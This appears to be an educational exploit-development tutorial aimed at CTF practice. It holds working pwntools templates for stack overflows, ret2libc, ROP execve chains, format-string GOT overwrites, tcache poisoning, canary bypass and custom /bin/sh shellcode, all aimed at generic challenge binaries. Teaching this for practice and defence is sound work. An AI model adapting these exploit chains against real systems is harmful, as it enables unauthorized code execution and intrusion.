Exploit Development
Advanced buffer overflows, ROP chains, format string exploits, heap exploitation, and writing reliable shellcode.
exploit developmentbuffer overflowROP chainsshellcodeheap exploitationformat stringpwntoolsASLR bypass
Real-World Analogy
Writing a reliable exploit is engineering, not hacking — you need to understand memory layout, CPU architecture, OS protections, and timing. It’s less “break the thing” and more “design a precise mechanism that reliably fails in a specific way.”
Modern Exploit Mitigations
Every protection changes the attack approach:
ASLR (Address Space Layout Randomization)
OS randomizes base addresses of stack, heap, libraries on each run
→ Can't hardcode addresses. Need to leak an address first.
NX / DEP (No-Execute / Data Execution Prevention)
Stack and heap memory is not executable
→ Can't put shellcode on stack. Need ROP (Return-Oriented Programming).
Stack Canary
Random value placed between buffer and return address before function call
Verified before return — mismatch = segfault
→ Need to leak the canary, or use format string to overwrite without detection
PIE (Position Independent Executable)
The program itself also gets randomized base address
→ Need to leak a code address too
RELRO (Relocation Read-Only)
GOT (Global Offset Table) is read-only after startup
→ Can't overwrite GOT entries
Safe-SEH / CFG (Control Flow Guard)
Indirect calls/jumps must target valid locations
→ Limits ROP gadget choices pwntools — Exploit Development Library
from pwn import *
# Connect to target
io = remote('challenge.ctf', 1337) # remote
io = process('./challenge') # local
io = gdb.debug('./challenge') # with GDB attached
# Architecture setup (auto-detected usually)
context.arch = 'amd64' # x86_64
context.arch = 'i386' # 32-bit x86
context.os = 'linux'
# Sending and receiving
io.send(b'data') # send bytes (no newline)
io.sendline(b'data') # send with newline
io.sendafter(b'prompt:', b'input') # send after seeing prompt
io.recv(100) # receive 100 bytes
io.recvline() # receive until newline
io.recvuntil(b'>>>') # receive until pattern
io.interactive() # interactive mode
# Packing numbers into bytes
p32(0x41424344) # → b'\x44\x43\x42\x41' (little-endian 32-bit)
p64(0xdeadbeef) # → 8 bytes little-endian 64-bit
u32(b'\x41\x42\x43\x44') # unpack → 0x44434241
u64(b'\x41' * 8) # unpack → integer
# ELF parsing
elf = ELF('./challenge')
elf.symbols['win'] # address of 'win' function
elf.got['puts'] # GOT entry for 'puts'
elf.plt['puts'] # PLT entry for 'puts'
# ROP gadget finding
rop = ROP(elf)
rop.find_gadget(['ret']) # find 'ret' gadget
rop.find_gadget(['pop rdi', 'ret']) # find 'pop rdi; ret'
# Shellcraft — generate shellcode
shellcode = asm(shellcraft.sh()) # /bin/sh shellcode
shellcode = asm(shellcraft.linux.amd64.sh()) Buffer Overflow — Stack-Based (32-bit)
from pwn import *
# Vulnerable C:
# void vuln() {
# char buf[64];
# gets(buf); // reads unlimited input
# }
io = process('./challenge')
elf = ELF('./challenge')
# Step 1: Find offset where EIP is controlled
# Send cyclic pattern: cyclic(200) generates "aaaabaaacaaadaaa..."
io.sendline(cyclic(200))
io.wait()
# Check core dump for crash value
core = Corefile('./core')
offset = cyclic_find(core.eip) # offset where EIP got overwritten
print(f"Offset: {offset}") # e.g., 76
# Step 2: Build payload
# No ASLR + NX disabled (ret2stack):
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'A' * (offset - len(shellcode)) # padding
payload += p32(core.esp - some_offset) # return to shellcode on stack
# Step 3: Send
io = process('./challenge')
io.sendline(payload)
io.interactive() Return-to-libc (ret2libc)
NX/DEP enabled → can’t execute shellcode. Jump to existing executable code (libc functions).
from pwn import *
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Step 1: Leak a libc address (ASLR enabled → need to find base)
# Leak puts' got entry using puts itself via PLT
rop = ROP(elf)
# 64-bit calling convention: rdi = first argument
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]
# Leak puts address (puts prints its own GOT entry)
leak_payload = b'A' * offset
leak_payload += p64(pop_rdi)
leak_payload += p64(elf.got['puts']) # argument: address of puts in GOT
leak_payload += p64(elf.plt['puts']) # call puts(got.puts) → prints puts address
leak_payload += p64(elf.symbols['main']) # return to main for second stage
io = process('./challenge')
io.sendline(leak_payload)
io.recvuntil(b'output:\n')
leak = u64(io.recv(6).ljust(8, b'\x00')) # 6 bytes on 64-bit systems
libc.address = leak - libc.symbols['puts'] # calculate libc base
print(f"libc base: {hex(libc.address)}")
# Step 2: Call system("/bin/sh")
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
payload = b'A' * offset
payload += p64(ret_gadget) # stack alignment (16-byte boundary for system())
payload += p64(pop_rdi)
payload += p64(bin_sh) # argument: "/bin/sh"
payload += p64(system) # call system("/bin/sh")
io.sendline(payload)
io.interactive() ROP Chains (Return-Oriented Programming)
ROP chains sequences of “gadgets” — small instruction sequences ending in ret — to build arbitrary computation.
from pwn import *
from ropper import RopperService # or use pwntools ROP()
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc])
# Common 64-bit Linux syscall: execve("/bin/sh", NULL, NULL)
# syscall number: 59 (0x3b)
# rax = 59, rdi = ptr to "/bin/sh", rsi = 0, rdx = 0
# Find gadgets
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
syscall = rop.find_gadget(['syscall'])[0]
# Find "/bin/sh" in binary or libc
bin_sh = next(libc.search(b'/bin/sh\x00'))
# Build chain
chain = b'A' * offset
chain += p64(pop_rax)
chain += p64(59) # execve syscall number
chain += p64(pop_rdi)
chain += p64(bin_sh) # pointer to "/bin/sh"
chain += p64(pop_rsi)
chain += p64(0) # NULL argv
chain += p64(pop_rdx)
chain += p64(0) # NULL envp
chain += p64(syscall) # syscall instruction
io = process('./challenge')
io.sendline(chain)
io.interactive() Format String Exploitation
When user input is passed directly as the format string to printf:
// Vulnerable
char buf[64];
fgets(buf, sizeof(buf), stdin);
printf(buf); // WRONG — should be printf("%s", buf)
// printf format specifiers:
// %p → print pointer (leak addresses)
// %x → print hex value
// %n → write number of bytes printed so far (write primitive!)
// %s → dereference pointer, print as string from pwn import *
io = process('./challenge')
elf = ELF('./challenge')
# Step 1: Leak values from stack
# Send: %p.%p.%p.%p (prints pointers from stack)
io.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
leak = io.recvline()
print(leak)
# Find the offset where our input appears in the leak
# If sending "AAAA%p.%p..." and one %p shows 0x41414141 → that's our offset
# Step 2: Arbitrary write with %n
# Write to the GOT entry of a function, redirect to win()
# Example: overwrite got['exit'] with elf.symbols['win']
fmtstr = fmtstr_payload(
offset=6, # our input is at 6th argument
writes={elf.got['exit']: elf.symbols['win']}
)
io.sendline(fmtstr)
io.sendline(b'exit') # trigger exit() → actually calls win()
io.interactive() Heap Exploitation (Fundamentals)
// glibc malloc uses bins: fast, small, large, unsorted
// Chunks have headers: size, prev_size, fd/bk pointers (free chunks)
// Use-After-Free (UAF):
char *buf = malloc(64);
free(buf);
// buf still points to freed memory
buf[0] = 0x41; // undefined behavior — may control chunk metadata from pwn import *
# Tcache poisoning (glibc 2.26+)
# Tcache: per-thread cache of recently freed chunks
# Freeing same chunk twice + writing to it → control next allocation address
# Template for tcache dup:
# 1. Allocate chunk A
# 2. Free chunk A twice (or UAF to overwrite fd pointer)
# 3. fd pointer of chunk in tcache → address we want to allocate
# 4. Next two allocations: one returns the fake chunk, one at controlled address
# 5. Overwrite __free_hook or __malloc_hook with one_gadget
# One gadget — single address that gives shell (with right register state)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Outputs addresses that, if jumped to, execute execve("/bin/sh") Stack Canary Bypass Techniques
# 1. Format string leak
# If there's a format string vuln before the overflow:
# Find the canary value on the stack via %p leak
# Then include it in your buffer overflow payload
canary_leak = io.recvline()
canary = int(canary_leak.split(b':')[1], 16)
payload = b'A' * buffer_size # fill buffer
payload += p64(canary) # correct canary value
payload += p64(0) # saved rbp
payload += p64(win) # return address
# 2. Brute force (32-bit fork servers)
# In a fork server, canary is same for all children
# Brute force byte by byte (256 guesses per byte, 4 bytes = 1024 guesses) Writing Your Own Shellcode
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# execve("/bin/sh", NULL, NULL) manually
shellcode = asm("""
xor rdx, rdx ; rdx = 0 (envp = NULL)
xor rsi, rsi ; rsi = 0 (argv = NULL)
lea rdi, [rip + path] ; rdi = pointer to "/bin/sh"
xor rax, rax
mov al, 59 ; rax = 59 (execve syscall)
syscall
path: .string "/bin/sh"
""")
# Test it
io = run_shellcode(shellcode)
io.interactive()
# Or use pwnlib's shellcraft:
shellcode = asm(shellcraft.amd64.linux.sh())
print(shellcode.hex()) Resources for Exploit Development
Practice platforms:
pwn.college → structured binary exploitation curriculum (free)
exploit.education → intentionally vulnerable VMs
ROP Emporium → ropemporium.com — pure ROP challenges
Books:
"Hacking: The Art of Exploitation" by Jon Erickson
"The Shellcoder's Handbook" by Anley et al.
Tools:
pwntools → Python exploitation framework
GDB + pwndbg → debugger + enhanced display
ROPgadget → find ROP gadgets
ropper → alternative gadget finder
one_gadget → find one-gadget shells in libc
checksec → check binary protections
patchelf → change binary's RPATH for custom libc
OSCP prep (simpler overflows):
Vulnserver → Windows BOF practice (oscp style)
dostackbufferoverflowgood → guided Windows BOF tutorial